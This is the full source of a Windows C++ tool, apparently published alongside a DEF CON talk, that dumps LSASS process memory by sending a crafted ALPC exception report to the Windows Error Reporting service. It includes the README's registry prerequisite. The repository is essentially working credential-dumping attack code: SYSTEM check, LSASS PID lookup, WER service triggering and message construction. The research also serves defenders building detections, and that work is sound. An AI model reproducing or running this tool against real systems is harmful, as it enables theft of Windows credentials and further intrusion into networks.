Repository: deepinstinct/Lsass-Shtinkering Branch: main Commit: 7abfb54b9632 Files: 13 Total size: 31.5 KB Directory structure: gitextract_6si7ns8m/ ├── .gitignore ├── LSASS_Shtinkering/ │ ├── LSASS_Shtinkering.vcxproj │ ├── LSASS_Shtinkering.vcxproj.filters │ ├── LSASS_Shtinkering.vcxproj.user │ ├── Lsass_Shtinkering.cpp │ ├── Lsass_Shtinkering.h │ ├── Utils.cpp │ ├── Utils.h │ ├── WerReportException.cpp │ ├── WerReportException.h │ └── ntddk.h ├── LSASS_Shtinkering.sln └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .vs/LSASS_Shtinkering/ Debug/ Release/ x64/ LSASS_Shtinkering/Debug/ LSASS_Shtinkering/Release/ LSASS_Shtinkering/x64/ ================================================ FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {476fc126-239f-4d58-8389-e1c0e93c2c5e} LSASSShtinkering 10.0 Application true v142 Unicode Application false v142 true Unicode Application true v142 Unicode Application false v142 true Unicode true false true false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug Console true %(AdditionalDependencies) Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded Console true true true %(AdditionalDependencies) Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug Console true %(AdditionalDependencies) Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded Console true true true %(AdditionalDependencies) ================================================ FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Source Files Header Files Header Files Header Files Header Files ================================================ FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.user ================================================  ================================================ FILE: LSASS_Shtinkering/Lsass_Shtinkering.cpp ================================================ #include "Lsass_Shtinkering.h" int main(int argc, char* argv[]) { DWORD processPid; HANDLE processHandle; try { if (IsLocalSystem()) wcout << L"process runs as NT AUTHORITY\\SYSTEM" << endl; else { wcout << L"process must run as NT AUTHORITY\\SYSTEM to dump lsass memory" << endl; return 0; } processPid = GetLsassPid(); processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, TRUE, processPid); wcout << L"[*] Reporting exception on LSASS PID: 0x" << std::hex << processPid << endl; ReportExceptionToWer(processPid, processHandle); wcout << L"[V] Exception reported successfully!" << endl; PrintCrashDampLocation(); } catch (std::exception& exception) { wcout << L"[X] Error: " << exception.what() << endl; } } ================================================ FILE: LSASS_Shtinkering/Lsass_Shtinkering.h ================================================ #pragma once #include "WerReportException.h" ================================================ FILE: LSASS_Shtinkering/Utils.cpp ================================================ #include "Utils.h" DWORD GetServicePid(const wstring& ServiceName) { const SC_HANDLE controlManagerHandle = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); if (nullptr == controlManagerHandle) throw runtime_error("Connecting to Service Control Manager failed"); const SC_HANDLE serviceHandle = OpenServiceW(controlManagerHandle, ServiceName.c_str(), SERVICE_QUERY_STATUS); CloseServiceHandle(controlManagerHandle); if (nullptr == serviceHandle) throw runtime_error("Opening service handle failed"); SERVICE_STATUS_PROCESS procInfo; DWORD bytesNeeded; if (!QueryServiceStatusEx(serviceHandle, SC_STATUS_PROCESS_INFO, reinterpret_cast(&procInfo), sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) { CloseServiceHandle(serviceHandle); throw runtime_error("Querying service status failed"); } CloseServiceHandle(serviceHandle); return procInfo.dwProcessId; } DWORD GetLsassPid() { return GetServicePid(L"samss"); } BOOL IsLocalSystem() { const HANDLE tokenHandle = GetCurrentProcessToken(); DWORD tokenInformationSize = 0; GetTokenInformation(tokenHandle, TokenUser, nullptr, 0, &tokenInformationSize); // The first call should fail because the buffer pointer is null. It is made to retrieve the required size of the buffer if (ERROR_INSUFFICIENT_BUFFER != GetLastError()) throw runtime_error("Getting buffer size from GetTokenInformation failed"); // Allocate the memory required to store the info const auto tokenInfoBuffer = new uint8_t[tokenInformationSize]; // Call GetTokenInformation again with a pointer to a buffer if (!GetTokenInformation(tokenHandle, TokenUser, tokenInfoBuffer, tokenInformationSize, &tokenInformationSize)) { delete[] tokenInfoBuffer; throw runtime_error("Retrieving info from GetTokenInformation failed"); } const auto tokenUser = reinterpret_cast(tokenInfoBuffer); const BOOL isSystem = IsWellKnownSid(tokenUser->User.Sid, WinLocalSystemSid); delete[] tokenInfoBuffer; return isSystem; } DWORD GetFirstThread(const DWORD Pid) { const HANDLE snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (INVALID_HANDLE_VALUE == snapshotHandle) throw runtime_error("Creating threads snapshot failed"); DWORD threadId = 0; THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); if (Thread32First(snapshotHandle, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == Pid) { threadId = threadEntry.th32ThreadID; } } while (Thread32Next(snapshotHandle, &threadEntry)); } CloseHandle(snapshotHandle); return threadId; } void PrintCrashDampLocation() { DWORD bufferSize = 32767; std::wstring environmentVariable; environmentVariable.resize(bufferSize); bufferSize = GetEnvironmentVariableW(L"LocalAppData", &environmentVariable[0], bufferSize); if (!bufferSize) throw runtime_error("Retrieving %LocalAppData% failed"); environmentVariable.resize(bufferSize); environmentVariable.append(L"\\CrashDumps"); std::wcout << L"[*] Crash dumps directory: " << environmentVariable << endl; } ================================================ FILE: LSASS_Shtinkering/Utils.h ================================================ #pragma once #include #include #include #include #include using std::endl; using std::wcout; using std::string; using std::wstring; using std::runtime_error; DWORD GetLsassPid(); BOOL IsLocalSystem(); DWORD GetFirstThread(DWORD Pid); void PrintCrashDampLocation(); ================================================ FILE: LSASS_Shtinkering/WerReportException.cpp ================================================ #include "WerReportException.h" NTSTATUS SignalStartWerSvc() { NTSTATUS ntstatus = STATUS_UNSUCCESSFUL; HMODULE ntdllHandle = GetModuleHandle(L"ntdll.dll"); const auto NtUpdateWnfStateData = reinterpret_cast(GetProcAddress(ntdllHandle, "NtUpdateWnfStateData")); if (NtUpdateWnfStateData) { __int64 werWnfStateName = 0x41940B3AA3BC0875; // WNF_WER_SERVICE_START wcout << L" [-] NtUpdateWnfStateData() for WNF_WER_SERVICE_START" << endl; ntstatus = NtUpdateWnfStateData(&werWnfStateName, nullptr, 0, nullptr, nullptr, 0, 0); } else { // Alternative to WNF (before Win8 for example) const auto EtwEventWriteNoRegistration = reinterpret_cast(GetProcAddress(ntdllHandle, "EtwEventWriteNoRegistration")); if (nullptr == EtwEventWriteNoRegistration) return ntstatus; constexpr GUID feedbackServiceTriggerProviderGuid = { 0xe46eead8, 0xc54, 0x4489, {0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x5, 0x9e, 0xe} }; EVENT_DESCRIPTOR eventDescriptor; RtlZeroMemory(&eventDescriptor, sizeof(EVENT_DESCRIPTOR)); wcout << L" [-] EtwEventWriteNoRegistration() for {E46EEAD8-0C54-4489-9898-8FA79D059E0E}" << endl; ntstatus = EtwEventWriteNoRegistration(&feedbackServiceTriggerProviderGuid, &eventDescriptor, 0, nullptr); } return ntstatus; } NTSTATUS WaitForWerSvc() { constexpr auto name = L"\\KernelObjects\\SystemErrorPortReady"; UNICODE_STRING objectName; objectName.Buffer = const_cast(name); objectName.Length = 0x46; objectName.MaximumLength = 0x48; OBJECT_ATTRIBUTES objectAttributes; objectAttributes.ObjectName = &objectName; objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); objectAttributes.RootDirectory = nullptr; objectAttributes.Attributes = 0; objectAttributes.SecurityDescriptor = nullptr; objectAttributes.SecurityQualityOfService = nullptr; wcout << L" [-] NtOpenEvent() for \"\\KernelObjects\\SystemErrorPortReady\"" << endl; HANDLE hEvent; NTSTATUS ntstatus = NtOpenEvent(&hEvent, EVENT_QUERY_STATE | SYNCHRONIZE, &objectAttributes); if (!NT_SUCCESS(ntstatus)) throw runtime_error("WaitForWerSvc()->NtOpenEvent() failed"); wcout << L" [-] NtWaitForSingleObject() for hEvent" << endl; ntstatus = NtWaitForSingleObject(hEvent, FALSE, nullptr); NtClose(hEvent); return ntstatus; } NTSTATUS SendMessageToWerService(ReportExceptionWerAlpcMessage* SendingMessage, ReportExceptionWerAlpcMessage* ReceivingMessage) { wcout << L" [-] SignalStartWerSvc()" << endl; NTSTATUS ntstatus = SignalStartWerSvc(); wcout << L" [-] NTSTATUS: 0x" << ntstatus << endl; if (!NT_SUCCESS(ntstatus)) throw runtime_error("Signaling WER to start failed"); wcout << L" [-] WaitForWerSvc()" << endl; ntstatus = WaitForWerSvc(); wcout << L" [-] NTSTATUS: 0x" << ntstatus << endl; if (!NT_SUCCESS(ntstatus)) throw runtime_error("Waiting for WER to start failed"); HMODULE ntdllHandle = GetModuleHandle(L"ntdll.dll"); auto ZwAlpcConnectPort = reinterpret_cast(GetProcAddress(ntdllHandle, "ZwAlpcConnectPort")); auto NtAlpcSendWaitReceivePort = reinterpret_cast(GetProcAddress(ntdllHandle, "NtAlpcSendWaitReceivePort")); UNICODE_STRING alpcWerPortString; RtlInitUnicodeString(&alpcWerPortString, L"\\WindowsErrorReportingServicePort"); HANDLE portHandle; OBJECT_ATTRIBUTES objectAttributes; ALPC_PORT_ATTRIBUTES portAttributes; PORT_MESSAGE connectionMessage; objectAttributes.Length = sizeof(objectAttributes); objectAttributes.RootDirectory = nullptr; objectAttributes.Attributes = 0; objectAttributes.ObjectName = nullptr; objectAttributes.SecurityDescriptor = nullptr; objectAttributes.SecurityQualityOfService = nullptr; memset(&portAttributes, 0, sizeof(portAttributes)); portAttributes.MaxMessageLength = sizeof(ReportExceptionWerAlpcMessage); ntstatus = ZwAlpcConnectPort(&portHandle, &alpcWerPortString, &objectAttributes, &portAttributes, ALPC_MSGFLG_SYNC_REQUEST, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr); wcout << L" [-] ZwAlpcConnectPort() for \"\\WindowsErrorReportingServicePort\" NTSTATUS: 0x" << ntstatus << endl; if (!NT_SUCCESS(ntstatus)) throw runtime_error("ZwAlpcConnectPort failed"); SIZE_T bufLength = sizeof(ReportExceptionWerAlpcMessage); ntstatus = NtAlpcSendWaitReceivePort(portHandle, ALPC_MSGFLG_SYNC_REQUEST, reinterpret_cast(SendingMessage), nullptr, reinterpret_cast(ReceivingMessage), &bufLength, nullptr, nullptr); NtClose(portHandle); std::cout << " [-] NtAlpcSendWaitReceivePort() NTSTATUS: 0x" << std::hex << ntstatus << endl; std::cout << " [-] Received message NtStatusErrorCode: 0x" << ReceivingMessage->NtStatusErrorCode << endl; // Check that the ntstatus from the call and in the received message indicate success if (NT_SUCCESS(ntstatus) && STATUS_TIMEOUT != ntstatus) { if (!NT_SUCCESS(ReceivingMessage->NtStatusErrorCode)) throw runtime_error("ReceivingMessage->NtStatusErrorCode indicates a fail"); } else throw runtime_error("NtAlpcSendWaitReceivePort failed"); return ntstatus; } BOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle) { // Create exception details EXCEPTION_RECORD exceptionRecord = {}; _EXCEPTION_POINTERS exceptionPointers = {}; CONTEXT context = {}; exceptionRecord.ExceptionCode = STATUS_UNSUCCESSFUL; exceptionPointers.ExceptionRecord = &exceptionRecord; exceptionPointers.ContextRecord = &context; // Create hRecoveryEVent & hCompletionEvent _SECURITY_ATTRIBUTES eventAttributes = { sizeof(_SECURITY_ATTRIBUTES) , nullptr, TRUE }; HANDLE hRecoveryEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr); HANDLE hCompletionEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr); // Create the file mapping const HANDLE hFileMapping = CreateFileMappingW(GetCurrentProcess(), &eventAttributes, PAGE_READWRITE, 0, sizeof(MappedViewStruct), nullptr); HANDLE mappedView = MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0); // Prepare the MappedViewStruct MappedViewStruct mps = {}; mps.Size = sizeof(MappedViewStruct); mps.ExceptionPointers = &exceptionPointers; mps.hCompletionEvent = hCompletionEvent; mps.hRecoveryEvent = hRecoveryEvent; mps.NtErrorCode = E_FAIL; mps.NtStatusErrorCode = STATUS_UNSUCCESSFUL; mps.TickCount = GetTickCount(); mps.TargetProcessPid = ProcessPid; mps.hTargetProcess = ProcessHandle; mps.TargetThreadTid = GetFirstThread(ProcessPid); mps.hTargetThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, TRUE, mps.TargetThreadTid); // Print MappedViewStruct members wcout << L"[*] MappedViewStruct:" << endl; wcout << L" [-] Size: 0x" << mps.Size << endl; wcout << L" [-] ExceptionPointers: 0x" << mps.ExceptionPointers << endl; wcout << L" [-] hCompletionEvent: 0x" << mps.hCompletionEvent << endl; wcout << L" [-] hRecoveryEvent: 0x" << mps.hRecoveryEvent << endl; wcout << L" [-] NtErrorCode: 0x" << mps.NtErrorCode << endl; wcout << L" [-] NtStatusErrorCode: 0x" << mps.NtStatusErrorCode << endl; wcout << L" [-] TickCount: 0x" << mps.TickCount << endl; wcout << L" [-] TargetProcessPID: 0x" << mps.TargetProcessPid << endl; wcout << L" [-] hTargetProcess: 0x" << mps.hTargetProcess << endl; wcout << L" [-] TargetThreadTID: 0x" << mps.TargetThreadTid << endl; wcout << L" [-] hTargetThread: 0x" << mps.hTargetThread << endl; // Prepare the ALPC request ReportExceptionWerAlpcMessage sendingMessage = {}; sendingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage); sendingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE); sendingMessage.MessageType = WerSvcMessageId::RequestReportUnhandledException; sendingMessage.Flags = 0; sendingMessage.hFileMapping = hFileMapping; sendingMessage.hCompletionEvent = hCompletionEvent; sendingMessage.hRecoveryEvent = hRecoveryEvent; sendingMessage.hFileMapping2 = hFileMapping; sendingMessage.hTargetProcess = mps.hTargetProcess; sendingMessage.hTargetThread = mps.hTargetThread; sendingMessage.TargetProcessId = mps.TargetProcessPid; // Prepare the ALPC response ReportExceptionWerAlpcMessage receivingMessage = {}; receivingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage); receivingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE); // Copy the struct into the mapped view RtlCopyMemory(mappedView, &mps, sizeof(mps)); wcout << L"[*] SendMessageToWerService()" << endl; // Send the request and get the response from the ALPC server NTSTATUS werNtstatus = SendMessageToWerService(&sendingMessage, &receivingMessage); CloseHandle(mappedView); CloseHandle(hFileMapping); CloseHandle(hCompletionEvent); CloseHandle(hRecoveryEvent); // Did we fail to send the ALPC message? if (STATUS_SUCCESS != werNtstatus) throw runtime_error("SendMessageToWERService failed"); // Did the operation not succeed on WerSvc side? if (STATUS_SUCCESS != receivingMessage.NtStatusErrorCode) { std::stringstream messageStream; messageStream << "receivingMessage.NtStatusErrorCode is 0x"; messageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode); string errorMessage = messageStream.str(); throw runtime_error(errorMessage.c_str()); } // Check if message type indicates failure if (WerSvcMessageId::ReplyReportUnhandledExceptionFailure != receivingMessage.MessageType) { std::stringstream messageStream; messageStream << "receivingMessage.MessageType is 0x"; messageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode); string errorMessage = messageStream.str(); throw runtime_error(errorMessage.c_str()); } // The reply consists of a handle to the spawned WerFault.exe process auto werFaultProcessHandle = reinterpret_cast(receivingMessage.Flags); wcout << L"[*] Waiting for WerFault.exe to exit..." << endl; // Wait for WeFault to exit while (TRUE) { NTSTATUS ntstatus = NtWaitForSingleObject(werFaultProcessHandle, TRUE, nullptr); // Was there was either a timeout or a failure if (STATUS_TIMEOUT == ntstatus || ntstatus < 0) break; // If there wasn't a failure, // did we return because of an APC or because the wait was aborted? if (STATUS_USER_APC != ntstatus && STATUS_ALERTED != ntstatus) { ntstatus = STATUS_SUCCESS; break; } } return TRUE; } ================================================ FILE: LSASS_Shtinkering/WerReportException.h ================================================ #pragma once #include "Utils.h" #include "ntddk.h" #include #include using std::to_string; using std::to_wstring; BOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle); ================================================ FILE: LSASS_Shtinkering/ntddk.h ================================================ #ifndef __NTDLL_H__ #define __NTDLL_H__ #ifdef __cplusplus extern "C" { #endif #include #ifndef _NTDLL_SELF_ // Auto-insert the library #pragma comment(lib, "Ntdll.lib") #endif #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define EVENT_QUERY_STATE 0x0001 #define ALPC_MSGFLG_SYNC_REQUEST 0x20000 typedef short CSHORT; typedef struct _QUAD { union { INT64 UseThisFieldToCopy; float DoNotUseThisField; }; } QUAD, * PQUAD; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct PORT_MESSAGE { union { struct { CSHORT DataLength; CSHORT TotalLength; } s1; ULONG Length; } u1; union { struct { CSHORT Type; CSHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { CLIENT_ID ClientId; QUAD DoNotUseThisField; }; ULONG MessageId; union { SIZE_T ClientViewSize; ULONG CallbackId; }; } PORT_MESSAGE, * PPORT_MESSAGE; struct ReportExceptionWerAlpcMessage { PORT_MESSAGE PortMessage; DWORD MessageType; NTSTATUS NtStatusErrorCode; DWORD Flags; DWORD TargetProcessId; HANDLE hFileMapping; #ifndef _WIN64 DWORD Filler0; #endif HANDLE hRecoveryEvent; #ifndef _WIN64 DWORD Filler1; #endif HANDLE hCompletionEvent; #ifndef _WIN64 DWORD Filler2; #endif HANDLE hFileMapping2; #ifndef _WIN64 DWORD Filler3; #endif HANDLE hTargetProcess; #ifndef _WIN64 DWORD Filler4; #endif HANDLE hTargetThread; #ifndef _WIN64 DWORD Filler5; #endif DWORD Filler6[324]; }; struct MappedViewStruct { DWORD Size; DWORD TargetProcessPid; DWORD TargetThreadTid; DWORD Filler0[39]; _EXCEPTION_POINTERS* ExceptionPointers; #ifndef _WIN64 DWORD Filler1; #endif DWORD NtErrorCode; DWORD Filler2; HANDLE hTargetProcess; #ifndef _WIN64 DWORD Filler3; #endif HANDLE hTargetThread; #ifndef _WIN64 DWORD Filler4; #endif HANDLE hRecoveryEvent; #ifndef _WIN64 DWORD Filler5; #endif HANDLE hCompletionEvent; #ifndef _WIN64 DWORD Filler6; #endif DWORD Filler7; DWORD Filler8; DWORD Null01; DWORD Null02; DWORD NtStatusErrorCode; DWORD Null03; DWORD TickCount; DWORD Unk101; }; typedef struct _WNF_TYPE_ID { GUID TypeId; } WNF_TYPE_ID, * PWNF_TYPE_ID; typedef const WNF_TYPE_ID* PCWNF_TYPE_ID; typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP; typedef ULONG LOGICAL; typedef ULONG* PLOGICAL; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _ALPC_PORT_ATTRIBUTES { ULONG Flags; SECURITY_QUALITY_OF_SERVICE SecurityQos; SIZE_T MaxMessageLength; SIZE_T MemoryBandwidth; SIZE_T MaxPoolUsage; SIZE_T MaxSectionSize; SIZE_T MaxViewSize; SIZE_T MaxTotalSectionSize; ULONG DupObjectTypes; #ifdef _WIN64 ULONG Reserved; #endif } ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; typedef struct _ALPC_MESSAGE_ATTRIBUTES { ULONG AllocatedAttributes; ULONG ValidAttributes; } ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; enum WerSvcMessageId { RequestReportUnhandledException = 0x20000000, ReplyReportUnhandledExceptionSuccess = 0x20000001, ReplyReportUnhandledExceptionFailure = 0x20000002, RequestSilentProcessExit = 0x30000000, ResponseSilentProcessExitSuccess = 0x30000001, ResponseSilentProcessExitFailure = 0x30000002 }; NTSYSAPI NTSTATUS NTAPI NtOpenEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtWaitForSingleObject( IN HANDLE Handle, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtClose( IN HANDLE Handle ); NTSYSAPI VOID NTAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); typedef NTSTATUS (NTAPI* NtUpdateWnfStateData_func)( _In_ PVOID StateName, _In_reads_bytes_opt_(Length) const VOID* Buffer, _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const VOID* ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ LOGICAL CheckStamp); #include typedef ULONG(__stdcall* EtwEventWriteNoRegistration_func)( _In_ LPCGUID ProviderId, _In_ PCEVENT_DESCRIPTOR EventDescriptor, _In_ ULONG UserDataCount, _In_reads_opt_(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData ); typedef LONG(WINAPI* NtAlpcSendWaitReceivePort_func)( _In_ HANDLE PortHandle, _In_ ULONG Flags, _In_reads_bytes_opt_(SendingMessage->u1.s1.TotalLength) PPORT_MESSAGE SendingMessage, _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendingMessageMessageAttributes, PPORT_MESSAGE ReceiveMessage, _Inout_opt_ PSIZE_T BufferLength, _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, _In_opt_ PLARGE_INTEGER Timeout); typedef LONG(WINAPI* NtAlpcConnectPort_func)( _Out_ PHANDLE PortHandle, _In_ PUNICODE_STRING PortName, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, _In_ ULONG Flags, _In_opt_ PSID RequiredServerSid, _Inout_ PPORT_MESSAGE ConnectionMessage, _Inout_opt_ PULONG BufferLength, _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, _In_opt_ PLARGE_INTEGER Timeout); #ifdef __cplusplus } // extern "C" #endif #endif // __NTDLL_H__ ================================================ FILE: LSASS_Shtinkering.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.32407.337 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LSASS_Shtinkering", "LSASS_Shtinkering\LSASS_Shtinkering.vcxproj", "{476FC126-239F-4D58-8389-E1C0E93C2C5E}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.ActiveCfg = Debug|x64 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.Build.0 = Debug|x64 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.ActiveCfg = Debug|Win32 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.Build.0 = Debug|Win32 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.ActiveCfg = Release|x64 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.Build.0 = Release|x64 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.ActiveCfg = Release|Win32 {476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {7CDF1F4C-173E-42D6-AC24-6C2F9795B327} EndGlobalSection EndGlobal ================================================ FILE: README.md ================================================ # Lsass Shtinkering New method of dumping LSASS by abusing the Windows Error Reporting service. It sends a message to the service with the ALPC protocol to report an exception on LSASS. This report will cause the service to dump the memory of LSASS. ## Prerequisites The registry value "DumpType" under "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" should be set to 2. ## Credits * [Asaf Gilboa](https://twitter.com/asaf_gilboa) ## References - https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf